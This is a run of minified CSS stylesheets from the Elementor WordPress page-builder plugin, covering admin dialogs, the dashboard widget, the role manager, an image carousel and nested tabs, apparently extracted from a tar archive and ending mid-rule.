.dialog-button.elementor-button-warning{background-color:var(--e-a-btn-bg-warning)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover{background-color:var(--e-a-btn-bg-warning-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger{background-color:var(--e-a-btn-bg-danger)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover{background-color:var(--e-a-btn-bg-danger-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button i,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button i{margin-inline-end:5px}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button:visited,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:visited{color:initial}@keyframes elementor-rotation{0%{transform:rotate(0deg)}to{transform:rotate(359deg)}}#elementor-deactivate-feedback-dialog-wrapper{display:none}#elementor-deactivate-feedback-modal{color:var(--e-a-color-txt)}#elementor-deactivate-feedback-modal .dialog-widget-content{width:550px}#elementor-deactivate-feedback-modal .dialog-header{padding:18px 15px;box-shadow:0 0 8px rgba(0,0,0,.1);text-align:start}#elementor-deactivate-feedback-modal .dialog-message{padding:30px;padding-block-end:0;text-align:start}#elementor-deactivate-feedback-modal .elementor-deactivate-feedback-dialog-input{margin-block:0;margin-inline:0 15px;box-shadow:none}#elementor-deactivate-feedback-modal .elementor-deactivate-feedback-dialog-input:not(:checked)~.elementor-feedback-text{display:none}#elementor-deactivate-feedback-modal .elementor-deactivate-feedback-dialog-label{display:block;font-size:13px}#elementor-deactivate-feedback-modal .elementor-feedback-text{background-color:transparent;color:var(--e-a-color-txt);margin-block:10px 0;margin-inline:30px 0;padding:5px;box-shadow:none;width:92%}#elementor-deactivate-feedback-modal .dialog-buttons-wrapper{display:flex;justify-content:space-between;padding:20px 30px 30px}#elementor-deactivate-feedback-modal .dialog-submit.elementor-loading:before{display:inline-block;content:"\f463";font:18px dashicons;animation:elementor-rotation 2s linear infinite}#elementor-deactivate-feedback-modal[data-feedback-selected=elementor_pro] .elementor-feedback-text{color:#f59e0b;padding:0}#elementor-deactivate-feedback-modal[data-feedback-selected=elementor_pro] .dialog-submit{display:none}#elementor-deactivate-feedback-dialog-header i{font-size:19px}#elementor-deactivate-feedback-dialog-header-title{font-size:15px;text-transform:uppercase;font-weight:700;padding-inline-start:5px}#elementor-deactivate-feedback-dialog-form-caption{font-weight:700;font-size:15px;line-height:1.4}#elementor-deactivate-feedback-dialog-form-body{padding-block-start:30px;padding-block-end:15px}.elementor-deactivate-feedback-dialog-input-wrapper{display:flex;align-items:center;line-height:2;overflow:hidden}#elementor-hidden-area{display:none}#elementor-import-template-trigger{cursor:pointer}#elementor-import-template-area{display:none;margin:50px 0 30px;text-align:center}#elementor-import-template-form{display:inline-block;margin-block-start:30px;padding:30px 50px;background-color:#fff;border:1px solid #e5e5e5}#elementor-import-template-title{font-size:18px;color:#555d66}.form-table:not(.elementor-maintenance-mode-is-enabled) .elementor-default-hide{display:none}.elementor-maintenance-mode-error{color:red;line-height:1.6;display:none}#tab-fontawesome4_migration.elementor-active~p.submit,#tab-import-export-kit.elementor-active~p.submit,#tab-replace_url.elementor-active~p.submit{display:none}#elementor_replace_url>div{max-width:800px}#elementor_replace_url>div input{margin-block-end:6px}#elementor_rollback>div,#elementor_rollback_pro>div{display:flex}#elementor_rollback>div input,#elementor_rollback>div select,#elementor_rollback_pro>div input,#elementor_rollback_pro>div select{margin-inline-end:6px}.tab-import-export-kit__wrapper{margin:40px 0;max-width:700px}.tab-import-export-kit__container{background-color:#fff;font-size:16px;max-width:700px;padding:30px}.tab-import-export-kit__container:not(:first-child){margin-block-start:5px}.tab-import-export-kit__container p{font-size:16px;margin:20px 0 25px}.tab-import-export-kit__info{font-size:14px}.tab-import-export-kit__container a:not(.elementor-button),.tab-import-export-kit__info a{color:var(--e-a-color-info);text-decoration:underline}.tab-import-export-kit__box{display:flex;justify-content:space-between;align-items:flex-start}.tab-import-export-kit__box h2{font-size:28px;font-weight:400;line-height:1;margin:0}.tab-import-export-kit__box .elementor-button.elementor-button-success{font-weight:700;padding:8px 16px;text-transform:none}.tab-import-export-kit__revert .tab-import-export-kit__kit-item{background-color:hsla(0,0%,100%,.5);box-shadow:0 4px 10px rgba(0,0,0,.05);border-radius:.1875rem;margin-block-end:15px;display:inline-block}.tab-import-export-kit__revert .tab-import-export-kit__kit-item header{border-block-end:1px solid #f1f2f3;padding:.625rem}.tab-import-export-kit__revert .tab-import-export-kit__kit-item h3{font-size:.875rem;margin:0}.tab-import-export-kit__revert .tab-import-export-kit__kit-item img{width:330px;height:315px;padding:.625rem}.tab-import-export-kit__revert .button,.tab-import-export-kit__revert .button:hover{color:#a94442;border-color:#a94442;display:inline-block}#dashboard-widgets .e-dashboard-widget h3.e-heading{font-weight:600;margin-block-end:13px}#dashboard-widgets .e-dashboard-widget .e-divider_bottom{border-block-end:1px solid #eee;margin:0 -12px;padding:6px 12px}#dashboard-widgets .e-dashboard-widget .e-divider_top{border-block-start:1px solid #eee;margin:0 -12px;padding:12px 12px 0}#dashboard-widgets .e-dashboard-widget .e-news-feed-wrap .e-divider_top,#dashboard-widgets .e-dashboard-widget .e-quick-actions-wrap .e-divider_top{padding-block-start:18px;margin-block-start:18px}.e-dashboard-widget .dashicons{color:#606a73}.e-dashboard-widget ul.e-action-list li{margin-block-start:14px}.e-dashboard-widget ul.e-action-list li a{margin-inline-start:5px}.e-dashboard-overview .dashicons{vertical-align:middle;font-size:17px}.e-dashboard-overview .e-overview__header{display:table;width:100%;box-shadow:0 5px 8px rgba(0,0,0,.05);margin:0 -12px 8px;padding:0 12px 12px}.e-dashboard-overview .e-overview__create,.e-dashboard-overview .e-overview__logo,.e-dashboard-overview .e-overview__versions{display:table-cell;vertical-align:middle}.e-dashboard-overview .e-overview__logo{width:30px}.e-dashboard-overview .e-overview__versions{padding:0 10px;font-size:.9em;line-height:1.5}.e-dashboard-overview .e-overview__version{display:block}.e-dashboard-overview .e-overview__create{text-align:end}.e-dashboard-overview .e-overview__feed{font-size:14px;font-weight:500}.e-dashboard-overview .e-overview__post{margin-block-start:10px}.e-dashboard-overview .e-overview__post-link{display:inline-block}.e-dashboard-overview .e-overview__badge{background:#0a875a;color:#fff;font-size:.75em;padding:3px 6px;border-radius:3px;text-transform:uppercase}.e-dashboard-overview .e-overview__post-description{margin:0 0 1.5em}.e-dashboard-overview .e-overview__recently-edited li{color:#72777c}.e-dashboard-overview .e-overview__footer.e-divider_top{padding-block-start:12px;padding-block-end:0}.e-dashboard-overview .e-overview__footer ul{display:flex;list-style:none;margin:0;padding:0}.e-dashboard-overview .e-overview__footer ul li{padding:0 10px;margin:0;border-inline-start:1px solid #ddd}.e-dashboard-overview .e-overview__footer ul li:first-child{padding-inline-start:0;border:none}.e-dashboard-overview .e-overview__ai a,.e-dashboard-overview .e-overview__go-pro a{color:#93003f;font-weight:500}.post-type-elementor_library #elementor-template-library-tabs-wrapper{padding-block-start:2em;margin-block-end:2em}.post-type-elementor_library th#taxonomy-elementor_library_category{width:110px}#elementor-new-floating-elements-modal .dialog-message,#elementor-new-template-modal .dialog-message{max-height:70vh}#elementor-new-floating-elements-modal .e-hidden,#elementor-new-template-modal .e-hidden{display:none!important}#elementor-new-floating-elements-dialog-content,#elementor-new-template-dialog-content{display:flex;align-items:center;height:100%;text-align:start}@media (max-width:1439px){#elementor-new-floating-elements-dialog-content,#elementor-new-template-dialog-content{padding:0 50px}}@media (min-width:1440px){#elementor-new-floating-elements-dialog-content,#elementor-new-template-dialog-content{padding:0 120px}}#elementor-new-floating-elements__description,#elementor-new-template__description{width:35%;max-width:300px;padding-inline-end:100px}#elementor-new-floating-elements__description__title,#elementor-new-template__description__title{font-size:30px}#elementor-new-floating-elements__description__title span,#elementor-new-template__description__title span{font-weight:700}#elementor-new-floating-elements__description__content,#elementor-new-template__description__content{font-size:16px;padding:30px 0}#elementor-new-floating-elements__take_a_tour,#elementor-new-template__take_a_tour{display:flex;align-items:center;font-size:15px}#elementor-new-floating-elements__take_a_tour i,#elementor-new-template__take_a_tour i{color:var(--e-a-color-accent);font-size:30px}#elementor-new-floating-elements__take_a_tour a,#elementor-new-template__take_a_tour a{padding-inline-start:10px;font-weight:500}#elementor-new-floating-elements__form,#elementor-new-template__form{flex-grow:1;max-width:440px;padding:55px;background-color:var(--e-a-color-white);border-radius:var(--e-a-border-radius);border:var(--e-a-border)}#elementor-new-floating-elements__form__title,#elementor-new-template__form__title{font-size:23px}#elementor-new-floating-elements__form__template-type.elementor-form-field__select,#elementor-new-template__form__template-type.elementor-form-field__select{max-width:none}#elementor-new-floating-elements__form__template-type-badge,#elementor-new-template__form__template-type-badge{position:absolute;display:flex;align-items:center;justify-content:center;gap:2px;border-radius:2px;background-color:#f1f2f3;padding:4px;font-size:8px;font-weight:500;line-height:1;text-transform:uppercase;inset-block-start:50%;inset-inline-end:28px;transform:translateY(-50%)}#elementor-new-floating-elements__form .elementor-form-field__label,#elementor-new-template__form .elementor-form-field__label{display:block;margin:25px 0 7px;font-size:14px;line-height:1}#elementor-new-floating-elements__form .elementor-form-field input,#elementor-new-floating-elements__form .elementor-form-field select,#elementor-new-template__form .elementor-form-field input,#elementor-new-template__form .elementor-form-field select{width:100%;height:50px;padding:10px;font-size:14px;box-shadow:none;border-radius:var(--e-a-border-radius);background:none;border:var(--e-a-border-bold);outline:none}#elementor-new-floating-elements__form .elementor-form-field input:focus,#elementor-new-floating-elements__form .elementor-form-field select:focus,#elementor-new-template__form .elementor-form-field input:focus,#elementor-new-template__form .elementor-form-field select:focus{border-color:var(--e-a-border-color-focus)}#elementor-new-floating-elements__form .elementor-form-field__select,#elementor-new-template__form .elementor-form-field__select{-webkit-appearance:none;-moz-appearance:none;appearance:none;cursor:pointer}#elementor-new-floating-elements__form .elementor-form-field__select__wrapper,#elementor-new-template__form .elementor-form-field__select__wrapper{position:relative}#elementor-new-floating-elements__form .elementor-form-field__select__wrapper:after,#elementor-new-template__form .elementor-form-field__select__wrapper:after{font-family:eicons;content:"\e8ad";position:absolute;inset-block-start:50%;inset-inline-end:10px;transform:translateY(-50%)}#elementor-new-floating-elements__form__lock_button,#elementor-new-floating-elements__form__submit,#elementor-new-template__form__lock_button,#elementor-new-template__form__submit{display:block;width:100%;height:50px;margin-block-start:24px;box-sizing:border-box;text-align:center}@media (max-width:1024px){#elementor-new-template__description{max-width:250px;padding-inline-end:30px}}@media (max-width:767px){#elementor-new-template__description{display:none}}#elementor-role-manager{max-width:500px;margin-block-start:50px}#elementor-role-manager h3{color:#3f444b;font-weight:400;font-size:22px}#elementor-role-manager .elementor-settings-form-page{padding:0}#elementor-role-manager .elementor-role-row{background:#fff;color:#3f444b;margin-block-end:2px}#elementor-role-manager .elementor-role-row .elementor-role-label{display:flex;padding:15px 20px;font-weight:500;cursor:pointer}#elementor-role-manager .elementor-role-row .elementor-role-label span.elementor-role-name{padding-inline-end:20px}#elementor-role-manager .elementor-role-row .elementor-role-label span.elementor-role-toggle{text-align:end;flex-grow:1}#elementor-role-manager .elementor-role-row .elementor-role-label span.elementor-role-excluded-indicator{color:#9da5ae}#elementor-role-manager .elementor-role-row .elementor-role-controls{background-color:#f9fafa;padding:20px 20px 5px}#elementor-role-manager .elementor-role-row .elementor-role-controls>div{margin-block-end:15px}#elementor-role-manager .elementor-role-row .elementor-role-controls .elementor-role-go-pro{display:flex;align-items:center}#elementor-role-manager .elementor-role-row .elementor-role-controls .elementor-role-go-pro .elementor-role-go-pro__desc{font-weight:500;font-style:italic;flex-grow:1}#elementor-role-manager .elementor-role-row .elementor-role-controls .elementor-role-go-pro .elementor-role-go-pro__link{display:flex}#elementor-role-manager .elementor-role-row .elementor-role-controls-advanced>div+div{margin-block-start:15px}#elementor-role-manager .elementor-role-control-warning{color:var(--e-a-color-danger)}#elementor-beta-tester-modal{color:var(--e-a-color-txt)}#elementor-beta-tester-modal .elementor-templates-modal__header__items-area{color:var(--e-a-color-txt);cursor:pointer}#elementor-beta-tester-modal .elementor-templates-modal__header__items-area:hover .elementor-beta-tester-do-not-show-again,#elementor-beta-tester-modal .elementor-templates-modal__header__items-area:hover .elementor-templates-modal__header__item>i{color:var(--e-a-color-txt-hover)}#elementor-beta-tester-modal .elementor-templates-modal__header__items-area .elementor-templates-modal__header__close{border:none}#elementor-beta-tester-modal .elementor-templates-modal__header__items-area .elementor-beta-tester-do-not-show-again{text-transform:uppercase;font-weight:700;font-size:12px;transition:var(--e-a-transition-hover)}#elementor-beta-tester-modal .dialog-lightbox-widget-content{max-width:500px;height:auto}#elementor-beta-tester-modal .dialog-lightbox-message{padding:40px;height:300px;background-color:var(--e-a-bg-default)}#elementor-beta-tester-form__caption{font-weight:700;font-size:20px}#elementor-beta-tester-form__description{font-size:15px;margin-block-start:10px}#elementor-beta-tester-form__input-wrapper{display:flex;margin-block-start:30px}#elementor-beta-tester-form__input-wrapper .elementor-button{border-start-start-radius:0;border-start-end-radius:3px;border-end-start-radius:0;border-end-end-radius:3px}#elementor-beta-tester-form__email{flex-grow:1;border:var(--e-a-border);border-inline-end:0;border-start-start-radius:3px;border-start-end-radius:0;border-end-start-radius:3px;border-end-end-radius:0;margin:0;padding:10px;height:50px}#elementor-beta-tester-form__terms{margin-block-start:40px;font-size:11px;color:var(--e-a-color-txt-muted)}.e-experiment__title{display:flex;align-items:flex-start;flex-direction:column}.e-experiment__title__indicator{position:absolute;height:10px;width:10px;border-radius:50%;border:2px solid #fff;box-shadow:0 2px 4px rgba(0,0,0,.1);flex-shrink:0;margin-block-start:2px}.e-experiment__title__indicator--active{background:#39b54a}.e-experiment__title__label{margin-inline-start:24px}.e-experiment__title__tag{background:#0085ba;color:#fff;font-size:.8em;padding:3px 6px;line-height:1;border-radius:3px;font-weight:600;margin-block-start:5px;margin-inline-start:24px}.e-experiment__title__tag__secondary{background:rgba(0,0,0,.1);color:inherit}.e-experiment__table-title{margin:30px 0}.e-experiment__dependency,.e-experiment__status{margin-block-start:4px;font-size:.9em;line-height:18px;font-weight:700;font-style:italic}.e-experiment__button.button{margin-block:18px 22px;margin-inline:0 14px}.e-experiment__dependency{color:#21759b}.e-experiment__dependency__title{font-weight:inherit}.e-landing-pages-empty .elementor-blank_state{padding:5em 0 2em}.e-landing-pages-empty .e-trashed-items{text-align:center}.e-feature-promotion{--e-a-top-bar-height:50px;--e-a-content-area-spacing:110px;--e-black:#000;width:1220px;height:calc(100vh - var(--e-a-top-bar-height) - var(--e-a-content-area-spacing));display:grid;grid-template-columns:repeat(2,auto);grid-template-rows:auto;justify-content:space-between;align-items:center;align-content:center;margin:auto;transform:translate(-10px,40px);text-align:center;font-family:var(--e-a-font-family)}.e-feature-promotion_data{grid-column:1/2;grid-row:1/2;display:flex;flex-direction:column;justify-content:center;align-items:self-start;margin-inline-start:15px;padding-inline-end:40px;max-width:608px}.e-feature-promotion_data h3{margin:0;margin-block-end:33px;text-align:start;font-size:1.85rem;font-weight:300;color:var(--e-black);line-height:1.2}.e-feature-promotion_data ul{margin-block-start:0;margin-block-end:1.6rem;text-align:start}.e-feature-promotion_data ul>li{margin-block-start:0;margin-inline-end:9px;margin-block-end:8px;margin-inline-start:8px;display:flex;font-size:1rem;line-height:21px;color:var(--e-black)}.e-feature-promotion_data ul>li:before{content:url("data:image/svg+xml;charset=utf-8,%3Csvg width='25' height='24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M21.52 6.47a.75.75 0 010 1.06l-10 10a.75.75 0 01-1.06 0l-5-5a.75.75 0 111.06-1.06l4.47 4.47 9.47-9.47a.75.75 0 011.06 0z' fill='%230C0D0E'/%3E%3C/svg%3E");font-size:1.4rem;margin-block-start:-3px;margin-inline-end:9px;margin-block-end:0;margin-inline-start:-9px}.e-feature-promotion_data>.go-pro{display:flex;align-items:center;padding:9px 15px;font-size:.9rem}.e-feature-promotion_data>.side-note{justify-self:baseline;margin-block-start:2rem;text-align:start}.e-feature-promotion_iframe{grid-column:2/3;grid-row:1/2;aspect-ratio:16/9;width:608px;border:none}body.rtl .e-feature-promotion{transform:translateX(10px)}@media (max-width:1410px){.e-feature-promotion{display:flex;flex-direction:column;justify-content:flex-start;width:90%}.e-feature-promotion_data{margin-block-end:2rem;margin-inline-start:unset;padding-inline-end:unset}.e-feature-promotion_iframe{max-width:90%;aspect-ratio:16/9}}.elementor-control-notice{display:flex;justify-content:flex-start;align-items:flex-start;gap:8px;padding:16px;border-radius:3px;border:1px solid var(--notice-control-color,var(--e-a-color-txt));color:var(--e-a-color-txt);font-size:12px;font-weight:400;line-height:1.5;text-align:start;margin-block-start:10px}.elementor-control-notice-type-info{--notice-control-color:var(--e-a-color-info)}.elementor-control-notice-type-success{--notice-control-color:var(--e-a-color-success)}.elementor-control-notice-type-warning{--notice-control-color:var(--e-a-color-warning)}.elementor-control-notice-type-danger{--notice-control-color:var(--e-a-color-danger)}.elementor-control-notice-icon{flex-basis:18px;color:var(--notice-control-color)}.elementor-control-notice-main{display:flex;flex-direction:column;justify-content:flex-start;align-items:flex-start;gap:6px;flex:1}.elementor-control-notice-main-heading{font-weight:700;font-style:italic}.elementor-control-notice-main-content{font-style:italic;line-height:1.5}.elementor-control-notice-main-actions{display:flex;gap:10px;padding-block-start:8px}.elementor-control-notice-main a{color:inherit;font-weight:700;cursor:pointer}.elementor-control-notice-main a:focus,.elementor-control-notice-main a:hover{color:inherit}.elementor-control-notice-dismiss{-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:transparent;border:0;padding:0;margin:0;cursor:pointer}assets/css/widget-image-carousel-rtl.min.css000064400000001034147206604650015117 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-image-carousel .swiper,.elementor-widget-image-carousel .swiper-container{position:static}.elementor-widget-image-carousel .swiper-container .swiper-slide figure,.elementor-widget-image-carousel .swiper .swiper-slide figure{line-height:inherit}.elementor-widget-image-carousel .swiper-slide{text-align:center}.elementor-image-carousel-wrapper:not(.swiper-container-initialized):not(.swiper-initialized) .swiper-slide{max-width:calc(100% / var(--e-image-carousel-slides-to-show, 3))}assets/css/templates/widget-nested-tabs-rtl.min.css000064400000034151147206604650016437 0ustar00.elementor-widget-n-tabs{--n-tabs-color-accent-fallback:#61ce70;--n-tabs-color-secondary-fallback:#54595f;--n-tabs-default-padding-block:15px;--n-tabs-default-padding-inline:35px;--n-tabs-background-color:transparent;--n-tabs-display:flex;--n-tabs-direction:column;--n-tabs-gap:10px;--n-tabs-heading-display:flex;--n-tabs-heading-direction:row;--n-tabs-heading-grow:initial;--n-tabs-heading-justify-content:center;--n-tabs-heading-width:initial;--n-tabs-heading-overflow-x:initial;--n-tabs-heading-wrap:nowrap;--n-tabs-border-width:1px;--n-tabs-border-color:#d5d8dc;--n-tabs-content-display:flex;--n-tabs-title-color:var(--e-global-color-secondary,var(--n-tabs-color-secondary-fallback));--n-tabs-title-color-hover:#fff;--n-tabs-title-color-active:#fff;--n-tabs-title-background-color:#f1f2f3;--n-tabs-title-background-color-hover:var(--e-global-color-accent,var(--n-tabs-color-accent-fallback));--n-tabs-title-background-color-active:var(--e-global-color-accent,var(--n-tabs-color-accent-fallback));--n-tabs-title-width:initial;--n-tabs-title-height:initial;--n-tabs-title-font-size:1rem;--n-tabs-title-white-space:initial;--n-tabs-title-justify-content-toggle:initial;--n-tabs-title-align-items-toggle:center;--n-tabs-title-justify-content:center;--n-tabs-title-align-items:center;--n-tabs-title-text-align:center;--n-tabs-title-direction:row;--n-tabs-title-gap:10px;--n-tabs-title-flex-grow:0;--n-tabs-title-flex-basis:content;--n-tabs-title-flex-shrink:initial;--n-tabs-title-order:initial;--n-tabs-title-padding-top:var(--n-tabs-default-padding-block);--n-tabs-title-padding-bottom:var(--n-tabs-default-padding-block);--n-tabs-title-padding-left:var(--n-tabs-default-padding-inline);--n-tabs-title-padding-right:var(--n-tabs-default-padding-inline);--n-tabs-title-border-radius:initial;--n-tabs-title-transition:0.3s;--n-tabs-icon-color:var(--e-global-color-secondary,var(--n-tabs-color-secondary-fallback));--n-tabs-icon-color-hover:var(--n-tabs-title-color-hover);--n-tabs-icon-color-active:#fff;--n-tabs-icon-gap:5px;width:100%;max-width:100%;--n-tabs-title-padding-inline-start:var(--n-tabs-title-padding-left);--n-tabs-title-padding-inline-end:var(--n-tabs-title-padding-right);--n-tabs-title-padding-block-start:var(--n-tabs-title-padding-top);--n-tabs-title-padding-block-end:var(--n-tabs-title-padding-bottom)}body.rtl .elementor-widget-n-tabs{--n-tabs-title-padding-inline-start:var(--n-tabs-title-padding-right);--n-tabs-title-padding-inline-end:var(--n-tabs-title-padding-left)}.elementor-widget-n-tabs .e-n-tabs{display:var(--n-tabs-display);flex-direction:var(--n-tabs-direction);gap:var(--n-tabs-gap);text-align:start;min-width:0}.elementor-widget-n-tabs .e-n-tabs-heading{display:var(--n-tabs-heading-display);flex-basis:var(--n-tabs-heading-width);flex-direction:var(--n-tabs-heading-direction);flex-shrink:0;justify-content:var(--n-tabs-heading-justify-content);gap:var(--n-tabs-title-gap);overflow-x:var(--n-tabs-heading-overflow-x);flex-wrap:var(--n-tabs-heading-wrap);-ms-overflow-style:none;scrollbar-width:none}.elementor-widget-n-tabs .e-n-tabs-heading::-webkit-scrollbar{display:none}.elementor-widget-n-tabs .e-n-tabs-heading.e-scroll{cursor:grabbing;cursor:-webkit-grabbing}.elementor-widget-n-tabs .e-n-tabs-heading.e-scroll-active{position:relative}.elementor-widget-n-tabs .e-n-tabs-heading.e-scroll-active:before{content:"";position:absolute;inset-block:0;inset-inline:-1000vw;z-index:2}.elementor-widget-n-tabs .e-n-tabs-content{display:var(--n-tabs-content-display);flex-grow:1;min-width:0}.elementor-widget-n-tabs .e-n-tabs-content>.e-con:not(.e-active){display:none}.elementor-widget-n-tabs .e-n-tabs:not(.e-activated)>.e-n-tabs-content>.e-con:first-child{display:flex}.elementor-widget-n-tabs .e-n-tab-title{background-color:initial;border-style:none;-webkit-user-select:none;-moz-user-select:none;user-select:none;display:flex;align-items:var(--n-tabs-title-align-items-toggle,var(--n-tabs-title-align-items));flex-direction:var(--n-tabs-title-direction);justify-content:var(--n-tabs-title-justify-content-toggle,var(--n-tabs-title-justify-content));gap:var(--n-tabs-icon-gap);border-width:var(--n-tabs-border-width);position:relative;flex-grow:var(--n-tabs-title-flex-grow);flex-basis:var(--n-tabs-title-flex-basis);flex-shrink:var(--n-tabs-title-flex-shrink);padding-block-start:var(--n-tabs-title-padding-block-start);padding-inline-end:var(--n-tabs-title-padding-inline-end);padding-block-end:var(--n-tabs-title-padding-block-end);padding-inline-start:var(--n-tabs-title-padding-inline-start);border-radius:var(--n-tabs-title-border-radius);height:var(--n-tabs-title-height);width:var(--n-tabs-title-width);white-space:var(--n-tabs-title-white-space);transition:background var(--n-tabs-title-transition),color var(--n-tabs-title-transition),border var(--n-tabs-title-transition),box-shadow var(--n-tabs-title-transition),text-shadow var(--n-tabs-title-transition),stroke var(--n-tabs-title-transition),stroke-width var(--n-tabs-title-transition),-webkit-text-stroke-width var(--n-tabs-title-transition),-webkit-text-stroke-color var(--n-tabs-title-transition),transform var(--n-tabs-title-transition)}.elementor-widget-n-tabs .e-n-tab-title:focus:not(:focus-visible){outline:none}.elementor-widget-n-tabs .e-n-tab-title span i,.elementor-widget-n-tabs .e-n-tab-title span svg{transition:color var(--n-tabs-title-transition),fill var(--n-tabs-title-transition)}.elementor-widget-n-tabs .e-n-tab-title-text{display:flex;align-items:center;font-size:var(--n-tabs-title-font-size);text-align:var(--n-tabs-title-text-align)}.elementor-widget-n-tabs .e-n-tab-title .e-n-tab-icon{display:flex;align-items:center;flex-direction:column;flex-shrink:0;order:var(--n-tabs-icon-order);overflow:hidden}.elementor-widget-n-tabs .e-n-tab-title .e-n-tab-icon i{font-size:var(--n-tabs-icon-size,var(--n-tabs-title-font-size))}.elementor-widget-n-tabs .e-n-tab-title .e-n-tab-icon svg{width:var(--n-tabs-icon-size,var(--n-tabs-title-font-size));height:var(--n-tabs-icon-size,var(--n-tabs-title-font-size))}.elementor-widget-n-tabs .e-n-tab-title .e-n-tab-icon:empty{display:none}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false]{background-color:var(--n-tabs-title-background-color)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false],.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false] a{color:var(--n-tabs-title-color)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false] .e-n-tab-icon i{color:var(--n-tabs-icon-color)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false] .e-n-tab-icon svg{fill:var(--n-tabs-icon-color)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false] .e-n-tab-icon i:last-child,.elementor-widget-n-tabs .e-n-tab-title[aria-selected=false] .e-n-tab-icon svg:last-child{transform:translateY(-100vh);height:0;opacity:0}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true],.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true] a{color:var(--n-tabs-title-color-active)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true] .e-n-tab-icon i{color:var(--n-tabs-icon-color-active)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true] .e-n-tab-icon svg{fill:var(--n-tabs-icon-color-active)}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true] .e-n-tab-icon i:first-child,.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true] .e-n-tab-icon svg:first-child{transform:translateY(-100vh);height:0;opacity:0}.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true][class*=elementor-animation-]:active,.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true][class*=elementor-animation-]:focus,.elementor-widget-n-tabs .e-n-tab-title[aria-selected=true][class*=elementor-animation-]:hover{transform:none;animation:initial}.elementor-widget-n-tabs [data-touch-mode=false] .e-n-tab-title[aria-selected=false]:hover,.elementor-widget-n-tabs [data-touch-mode=false] .e-n-tab-title[aria-selected=false]:hover a{color:var(--n-tabs-title-color-hover)}.elementor-widget-n-tabs [data-touch-mode=false] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon i{color:var(--n-tabs-icon-color-hover)}.elementor-widget-n-tabs [data-touch-mode=false] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon svg{fill:var(--n-tabs-icon-color-hover)}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover,.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover a{color:var(--n-tabs-title-color-active)}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon i{color:var(--n-tabs-icon-color-active)}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon svg{fill:var(--n-tabs-icon-color-active)}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon i:first-child,.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon svg:first-child{transform:translateY(-100vh);height:0;opacity:0}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover[class*=elementor-animation-]:active,.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover[class*=elementor-animation-]:focus,.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover[class*=elementor-animation-]:hover{transform:none;animation:initial}.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon i:last-child,.elementor-widget-n-tabs [data-touch-mode=true] .e-n-tab-title[aria-selected=false]:hover .e-n-tab-icon svg:last-child{transform:none;height:auto;opacity:1}.elementor .elementor-element.elementor-widget-n-tabs>.elementor-widget-container>.e-n-tabs[data-touch-mode=false]>.e-n-tabs-heading .e-n-tab-title[aria-selected=false]:hover{background-color:var(--n-tabs-title-background-color-hover);background-image:none}.elementor 